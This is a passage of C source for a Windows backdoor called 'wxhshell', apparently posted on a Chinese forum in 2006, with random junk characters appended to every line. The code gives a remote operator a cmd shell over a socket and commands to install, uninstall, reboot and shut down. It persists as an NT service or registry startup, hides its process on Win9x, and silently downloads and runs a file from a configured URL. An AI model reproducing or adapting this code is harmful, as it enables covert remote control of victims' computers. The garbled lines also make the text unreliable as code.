  } 4yv31QG$  
  // 安装 RcP5].^T  
  case 'i': { iZ\z!tHR  
    if(Install()) -JK4-Hg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d( g_y m*  
    else yvisoZX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j1+Y=@MA  
    break; zL8A?G)= M  
    } @2*6+w_Ae  
  // 卸载 tgA |Vwwk  
  case 'r': { P[8N58#  
    if(Uninstall()) nn%xN\~<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D~&e.y/gHN  
    else /y|r iW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~GYtU9s5  
    break; 53 05N!  
    } ITlkw~'G  
  // 显示 wxhshell 所在路径 YH9] T,  
  case 'p': { }8#Czo jt  
    char svExeFile[MAX_PATH]; w/6@R 4)p  
    strcpy(svExeFile,"\n\r"); j)qh>y)  
      strcat(svExeFile,ExeFile); {U-EBXV  
        send(wsh,svExeFile,strlen(svExeFile),0); Mu%,@?zM^/  
    break; Fsj[JE  
    } *G41%uz  
  // 重启 ,`@|C Z-4A  
  case 'b': { mP[u[|]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !#qB%E]a  
    if(Boot(REBOOT)) uZI a-b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CHI(\DXNs  
    else { ;g]+MLV9  
    closesocket(wsh); r^^C9"  
    ExitThread(0); 1Di&vpn0u  
    } hj,x~^cS  
    break;  |?A-?-  
    } F| Q#KwN  
  // 关机 e|yuPd  
  case 'd': { I0RWdOK8K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *$D-6}Oay  
    if(Boot(SHUTDOWN)) Ngnjr7Q={T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}1)]6q$  
    else { ,$-PC=Ti(  
    closesocket(wsh); L9oZ7o  
    ExitThread(0); G)7sXEe  
    } EPy/6-5b  
    break; hGV/P94  
    } Q#KjX;No  
  // 获取shell `oBzt |f5  
  case 's': { <=M}[  
    CmdShell(wsh); _s8_i6 Y  
    closesocket(wsh); ;xwQzu%M>5  
    ExitThread(0); lZ_k307  
    break; (mlc' ]F  
  } UXHFti/A<  
  // 退出 _y UFe&  
  case 'x': { E:k?*l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IhLfuyFWu  
    CloseIt(wsh); yk{alSF  
    break; C<>.*wlp=  
    } `f]O  
  // 离开 CI{x/ e^(  
  case 'q': { %A3Jd4DH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9#!tzDOtD  
    closesocket(wsh); nT"z(\i.!J  
    WSACleanup(); 8F1!9W7  
    exit(1); e_TDO   
    break; }}_l@5  
        } y{JkY\g  
  } F}>`3//u  
  } BYU.ptiJJ  
[_n|n"M  
  // 提示信息 G2D<LRWt4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ cSZX#\  
} DAW%?(\,  
  } K>y+3HN[6  
<H6Uo#ao  
  return; %R"Fx$tQ  
} \.] U  
HrGX-6`  
// shell模块句柄 =Frr#t!(w0  
int CmdShell(SOCKET sock) X)m2{@v D  
{ {'!~j!1'j  
STARTUPINFO si; h# 8b#  
ZeroMemory(&si,sizeof(si)); 2|BE{91  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -; }Wm[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6EY4@0%A  
PROCESS_INFORMATION ProcessInfo; c&&UT-Z  
char cmdline[]="cmd"; E<dN=#f6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &&O=v]6,V  
  return 0; 2uVm?nm  
} 4a-wGx#h  
Ek3O{<  
// 自身启动模式 x5ia<V>=d  
int StartFromService(void) m='OnTeOE  
{ tPsU7bFk  
typedef struct odDt.gQXU  
{ DxHeZQ"LL  
  DWORD ExitStatus; 7f>n`nq?  
  DWORD PebBaseAddress; &kvVMn ok  
  DWORD AffinityMask; qb&*,zN  
  DWORD BasePriority; t At+5H  
  ULONG UniqueProcessId; J++D\x#@  
  ULONG InheritedFromUniqueProcessId; )Pq.kn{Sp  
}   PROCESS_BASIC_INFORMATION; K4BMa]/U  
S[M$>  
PROCNTQSIP NtQueryInformationProcess; GF&"nW9A  
5 *_#"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /l L*U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |UG)*t/  
t&_lpffv  
  HANDLE             hProcess; ^^#A9AM  
  PROCESS_BASIC_INFORMATION pbi; vs~*=d27Pf  
o=ex{g(3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i ^#R iCeo  
  if(NULL == hInst ) return 0;  UWI5 /R  
=E}/Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _EP}el  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ 55Y2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %:lQ ~yn  
e 6*=Si}V  
  if (!NtQueryInformationProcess) return 0; *3|KbCX  
NQmDm!-4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zx27aZ[  
  if(!hProcess) return 0; 3?:}lY<,  
A Ho<E"R\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <$E8T>U  
M5]w U   
  CloseHandle(hProcess); #/T)9=m  
<3HJkcYGz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u|e2T@t=  
if(hProcess==NULL) return 0; Oaui@q  
c!zu0\[Id  
HMODULE hMod; W8)GT`\  
char procName[255]; f&:g{K  
unsigned long cbNeeded; qp Z ".  
D+OkD-8q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gIeo7>u  
[eImP V]  
  CloseHandle(hProcess); \gdd  
VrpY BU  
if(strstr(procName,"services")) return 1; // 以服务启动 BtspnVB ez  
q6q= ,<T%S  
  return 0; // 注册表启动 7 UR)4dYA  
} `g7' )MSy  
q07>FW R  
// 主模块 ;RXv%ML  
int StartWxhshell(LPSTR lpCmdLine) [yz;OoA:;  
{ m9/a!|fBE  
  SOCKET wsl; a.P^+h  
BOOL val=TRUE; !|D,cs  
  int port=0;  u!(|y9p  
  struct sockaddr_in door; |$Td-M^)  
QeGU]WU{  
  if(wscfg.ws_autoins) Install(); 1z)+P1nH]  
6(.&y;  
port=atoi(lpCmdLine); -szvO_UP  
V5=Injs *  
if(port<=0) port=wscfg.ws_port; <R2bz1!h.  
dpy,;nqzeN  
  WSADATA data; k,2% %m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d97wiE/i<  
*fE5Z;!}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *{uu_O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )[A}h'J)  
  door.sin_family = AF_INET; + EM '-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7Ev~yY;N  
  door.sin_port = htons(port); d%WFgf}  
Q9( eH2=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m#uutomi0  
closesocket(wsl); BJqM=<nQ  
return 1; hSxf;>(d  
} p0Vw@R=  
mV-MJ$3r  
  if(listen(wsl,2) == INVALID_SOCKET) { Ba"Z^(:  
closesocket(wsl); t ,0~5>5  
return 1; g%K3ah v  
} 1_A< nt?'R  
  Wxhshell(wsl); ;lGjj9we>  
  WSACleanup(); c Mq|`CM  
iKu5K0x{>I  
return 0; |KuH2, n0  
L;Nm"[ `  
} C3|M\[*fp  
!O*\|7A(  
// 以NT服务方式启动 kc}e},k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VP[ J#TPU  
{ zzM 'uo  
DWORD   status = 0; C@xh$(y  
  DWORD   specificError = 0xfffffff; 86[T BX5'  
TtHqdKL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o_?YYw-:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -q[?,h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7uYJ _R  
  serviceStatus.dwWin32ExitCode     = 0; 3iDRt&y=.  
  serviceStatus.dwServiceSpecificExitCode = 0; h 9No'!'!  
  serviceStatus.dwCheckPoint       = 0; O`*}N1No[  
  serviceStatus.dwWaitHint       = 0; JD.WH|sZ5  
?>2k>~xlQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hW(Mf  
  if (hServiceStatusHandle==0) return; m!g f!  
vFQ'sd]C  
status = GetLastError(); b?y3m +V`  
  if (status!=NO_ERROR) +g(QF   
{ >xT8[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E#J+.&2  
    serviceStatus.dwCheckPoint       = 0; -|g~--@Q  
    serviceStatus.dwWaitHint       = 0; 0C7x1:  
    serviceStatus.dwWin32ExitCode     = status; G"wy?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0Y{A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yKi* 8N"e<  
    return; ^dQ#\uy  
  } TeQpmhN  
geua8;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^MuO;<<,.  
  serviceStatus.dwCheckPoint       = 0; H.*XoktC]  
  serviceStatus.dwWaitHint       = 0; op;OPf,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >-f`mT  
} k\A8Z[  
]"^U  
// 处理NT服务事件,比如:启动、停止 -Zkl\A$>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G >bQlZG  
{ LXr nAt  
switch(fdwControl) JW (.,Ztm  
{ +Ibcc8Qud  
case SERVICE_CONTROL_STOP: L9"V$MO  
  serviceStatus.dwWin32ExitCode = 0; 5Osx__6$t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H{yeN 5   
  serviceStatus.dwCheckPoint   = 0; u[})|x*N  
  serviceStatus.dwWaitHint     = 0; FgLV>#)-  
  { |.X?IJ`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Jt5|'tl  
  } _dj_+<Y?  
  return; }!x\qpA  
case SERVICE_CONTROL_PAUSE: YuFJJAJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u`3J2 ,.  
  break; 4Z,MqG>  
case SERVICE_CONTROL_CONTINUE: ?(H/a-(:v}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fM6Pw6k  
  break; YhRES]^  
case SERVICE_CONTROL_INTERROGATE: |X0h-kX4  
  break; UO>ADRs}  
}; h,45-#+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `$7. (.#s  
} uPhFBD7  
:>]= YE  
// 标准应用程序主函数 -r7*C :E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K} LmU{/t/  
{ Pd6p)zj  
7' ]n_-fu  
// 获取操作系统版本 IOtSAf  
OsIsNt=GetOsVer(); '(r/@%=U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q{ i9VJ]  
1TJ2HO=Y  
  // 从命令行安装 N[:;f^bH49  
  if(strpbrk(lpCmdLine,"iI")) Install(); [2:Q.Zj  
)l~:P uvh  
  // 下载执行文件 "8>T  
if(wscfg.ws_downexe) { kZfa8w L]P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E0[ec6^qwY  
  WinExec(wscfg.ws_filenam,SW_HIDE); q,(U8  
} v'mRch)d  
[> Q+=(l  
if(!OsIsNt) { u1R_u9  
// 如果时win9x,隐藏进程并且设置为注册表启动 x\T 9V~8a  
HideProc(); jhl9  
StartWxhshell(lpCmdLine); /_rEI,[k  
} ]c4?-Vq%u  
else Dk[m)]w\  
  if(StartFromService()) 9!&fak _  
  // 以服务方式启动 Gm~jC <  
  StartServiceCtrlDispatcher(DispatchTable); ErnjIx:  
else ;EDc1:  
  // 普通方式启动 kZ~0fw-  
  StartWxhshell(lpCmdLine); <b !nI N  
qbrY5;U  
return 0; -PPH]?],  
}
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只看该作者 1 发表于: 2006-10-10
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